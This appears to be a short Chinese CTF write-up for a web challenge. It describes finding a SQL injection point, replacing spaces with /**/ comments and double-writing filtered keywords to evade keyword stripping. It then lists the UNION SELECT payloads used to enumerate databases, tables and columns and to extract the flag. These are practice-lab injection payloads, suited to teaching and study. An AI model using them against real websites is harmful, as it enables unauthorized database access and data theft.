题目来源:
http://ctf5.shiyanbar.com/423/web/
writeup
1、进入页面后,尝试输入1
发现注入点
2、尝试注入
首先尝试
?id=1'
其次,尝试
?id=1 and 1=1
发现,没有and,且,空格被+
替代
- 知识点:可用/**/,()来替代
进行尝试(这里用/**/来代替空格),再次尝试注入
3、尝试爆数据库
4、尝试爆表名
发现flag
5、尝试爆列名
结果发现了过滤:
将column_name
、information_schema.columns
过滤了
这里尝试双写绕过发现flag
6、获得flag
后话
此题基础,可以根据提示信息发现过滤点~
?id=1'
?id=1 and 1=1
?id=1'/**/and/**/'1'='1
?id=1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
?id=1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
?id=1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.columinformation_schema.columnsns/**/where/**/table_name='flag
?id=1'/**/union/**/select/**/flag/**/where/**/'1'='1